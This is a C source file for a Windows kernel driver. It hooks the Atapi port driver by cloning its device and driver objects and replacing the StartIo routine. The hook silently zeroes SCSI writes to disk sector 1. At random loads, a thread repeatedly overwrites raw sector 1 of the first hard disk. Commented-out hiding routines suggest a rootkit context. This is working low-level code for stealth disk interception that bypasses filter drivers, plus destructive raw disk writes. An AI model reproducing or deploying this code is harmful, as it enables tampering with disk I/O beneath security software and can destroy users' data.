#include "ntddk.h"
#include "ntifs_48.h"
#include "zwfunc.h"
#include "stdafx.h"
#include "srb.h"

#define MYDEBUG 1

#if MYDEBUG

#define KDMSG(_x_) DbgPrint _x_

#else

#define KDMSG(_x_)

#endif
ULONG oldstartio;
PDRIVER_OBJECT atapi_drv ;

VOID mystartio(   PDEVICE_OBJECT DeviceObject,   PIRP Irp )
{
PIO_STACK_LOCATION irp_stack ;

irp_stack = IoGetCurrentIrpStackLocation(Irp);

if (DeviceObject->DeviceType == FILE_DEVICE_CONTROLLER &&
   irp_stack->DeviceObject &&
   irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
   irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
   irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
   (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_OUT) &&
   irp_stack->Parameters.Scsi.Srb->DataBuffer &&
   irp_stack->Parameters.Scsi.Srb->DataTransferLength
   )

{
   PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ;
   ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ;
   ULONG i ;
   PMDL mdl = Irp->MdlAddress ;

//   KDMSG(("disk device bus read request!lba = %08x , len = %08x\n",
//    irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
//    irp_stack->Parameters.Scsi.Srb->DataTransferLength));

   if (irp_stack->Parameters.Scsi.Srb->QueueSortKey == 1)
   {
    buf = MmGetSystemAddressForMdl(mdl );
    RtlZeroMemory(buf , len );

   }

   __asm
   {
    push Irp
    push    DeviceObject
    call oldstartio
   }

//   HandleAkDiskHide(buf , len );
//   HandleRegHide(buf , len);
   return ;
  
}
__asm
{
   push Irp
    push    DeviceObject
    call oldstartio
   }

return ;
}

BOOL CheckMemory(PVOID addr , ULONG len)
{
ULONG i ;
for (i = (ULONG )addr ; i < (ULONG )addr + len ; i++)
{
   if (!MmIsAddressValid((PVOID)i))
   {
    return FALSE ;
   }
}
return TRUE ;
}
#define DELAY_ONE_MICROSECOND   (-10)
#define DELAY_ONE_MILLISECOND   (DELAY_ONE_MICROSECOND*1000)
#define DELAY_ONE_SECOND        (DELAY_ONE_MILLISECOND*1000)

void DiskProtThread(PVOID xx)
{
HANDLE FileHandle ;
NTSTATUS stat ;
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING string ;
IO_STATUS_BLOCK iosb ;

LARGE_INTEGER interval;
PVOID pool = ExAllocatePool(NonPagedPool , 0x200);

if (!pool)
{
   PsTerminateSystemThread(STATUS_SUCCESS);
   return ;
}

interval.QuadPart = (5 * DELAY_ONE_SECOND);      //delay 2 secs

RtlInitUnicodeString(&string , L"\\Device\\Harddisk0\\DR0" );
InitializeObjectAttributes(&oba , &string , OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE , 0 , 0 );

while(TRUE)
{
   stat = IoCreateFile(&FileHandle ,
    FILE_ALL_ACCESS ,
    &oba ,
    &iosb ,
    NULL,
    FILE_ATTRIBUTE_NORMAL ,
    FILE_SHARE_READ ,
    FILE_OPEN ,
    FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
    NULL,
    0,
    CreateFileTypeNone ,
    0,
    IO_NO_PARAMETER_CHECKING
    );
  
  
  
   if (NT_SUCCESS(stat))
   {

    LARGE_INTEGER offset ;
   
   
    offset.HighPart = 0 ;
    offset.LowPart = 512 ;
   
   
   
    stat = ZwReadFile(FileHandle , 0 , NULL , NULL ,
     &iosb ,
     pool ,
     512 ,
     &offset ,
     0
     );
   
    if (NT_SUCCESS(stat))
    {
     ULONG i ;
     BOOL nonzero = FALSE ;
    
     for (i = 0 ; i < 512 ; i++)
     {
      if (*(BYTE*)((ULONG)pool + i) != 0)
      {
       nonzero = TRUE ;
       break ;
      }
     }
    
     if (nonzero)
     {
      RtlZeroMemory(pool , 512);
      ZwWriteFile(FileHandle , 0 , NULL , NULL ,
       &iosb ,
       pool ,
       512 ,
       &offset ,
       0
       );
     }
    
    
    
    }
    ZwClose(FileHandle);
   
   
}  
   KeDelayExecutionThread(KernelMode , FALSE , &interval);

}

}

NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
UNICODE_STRING uniname ;
NTSTATUS stat ;

// drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ;

LARGE_INTEGER current_time ;
BOOL HookPort = FALSE ;

KeQuerySystemTime(&current_time);

if ((current_time.LowPart / 10 )* 10 == current_time.LowPart )
{
   HookPort = TRUE ;
}

RtlInitUnicodeString(&uniname , L"\\Driver\\Atapi");

stat = ObReferenceObjectByName(&uniname ,
   OBJ_CASE_INSENSITIVE ,
   NULL ,
   0,
   *IoDriverObjectType ,
   KernelMode ,
   NULL ,
   (PVOID*)&atapi_drv);

if (!NT_SUCCESS(stat))
{
//   KDMSG(("get atapi drvobj failed , stat = %08x\n" , stat));
   return stat ;
}

ObDereferenceObject(atapi_drv );

{
   PDEVICE_OBJECT devobj ;

   devobj = atapi_drv->DeviceObject ;

   while(devobj)
   {
    if (devobj->DeviceType == FILE_DEVICE_DISK &&
     (devobj->Characteristics & FILE_REMOVABLE_MEDIA) == 0 )
    {
     if (devobj->DeviceExtension)
     {
      ULONG ext = devobj->DeviceExtension ;
      if (CheckMemory((PVOID)(ext + 0x5c) , sizeof(ULONG)))
      {
       ULONG ext_sp1 = *(ULONG*)(ext + 0x5c);

       if (ext_sp1 && CheckMemory((PVOID)(ext_sp1 + 0xc) , sizeof(ULONG)))
       {
        PDEVICE_OBJECT port_device = (PDEVICE_OBJECT)(*(ULONG*)(ext_sp1 + 0xc));

        if (port_device &&
         port_device->DeviceType == FILE_DEVICE_CONTROLLER &&
         port_device->DriverObject == atapi_drv)
        {
         PVOID pobj1 = ExAllocatePool(NonPagedPool , port_device->Size + 0x18);
         PVOID pobj2 = ExAllocatePool(NonPagedPool , atapi_drv->Size + 0x18);
         PDEVICE_OBJECT pFakeDevice = (PDEVICE_OBJECT)((ULONG)pobj1 + 0x18);
         PDRIVER_OBJECT pFakeDriver = (PDRIVER_OBJECT)((ULONG)pobj2 + 0x18);
         KSPIN_LOCK SpinLock ;
         KIRQL OldIrql ;

         if (!pFakeDevice || !pFakeDriver)
         {
          if (pFakeDriver )
           ExFreePool(pFakeDriver);
          if (pFakeDevice)
           ExFreePool(pFakeDevice);

          return STATUS_UNSUCCESSFUL ;
         }

         RtlCopyMemory(pobj1 , (PVOID)((ULONG)port_device - 0x18) , port_device->Size + 0x18);
         RtlCopyMemory(pobj2 , (PVOID)((ULONG)port_device->DriverObject - 0x18) , port_device->DriverObject->Size + 0x18);
        
         pFakeDevice->DriverObject = pFakeDriver ;
        
         if (IsListEmpty(&port_device->DeviceQueue.DeviceListHead))
         {
          pFakeDevice->DeviceQueue.DeviceListHead.Blink = &pFakeDevice->DeviceQueue.DeviceListHead;
          pFakeDevice->DeviceQueue.DeviceListHead.Flink = &pFakeDevice->DeviceQueue.DeviceListHead ;
         }
         oldstartio = pFakeDriver->DriverStartIo ;
         pFakeDriver->DriverStartIo = mystartio ;

        
         KeInitializeSpinLock(&SpinLock);
         KeAcquireSpinLock(&SpinLock , &OldIrql);
         *(ULONG*)(ext_sp1 + 0xc) = (ULONG)pFakeDevice ;
         KeReleaseSpinLock(&SpinLock , OldIrql);

         if (HookPort)
         {
          HANDLE threadhandle ;
          OBJECT_ATTRIBUTES oba ;
         
          InitializeObjectAttributes(&oba, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
          PsCreateSystemThread(&threadhandle ,
           THREAD_ALL_ACCESS ,
           &oba ,
           NULL,
           NULL,
           DiskProtThread ,
           NULL
           );
         }

         return STATUS_SUCCESS ;
        
        }

       }
      }
     }
    }

    devobj = devobj->NextDevice ;
   }
}

return STATUS_UNSUCCESSFUL ;
}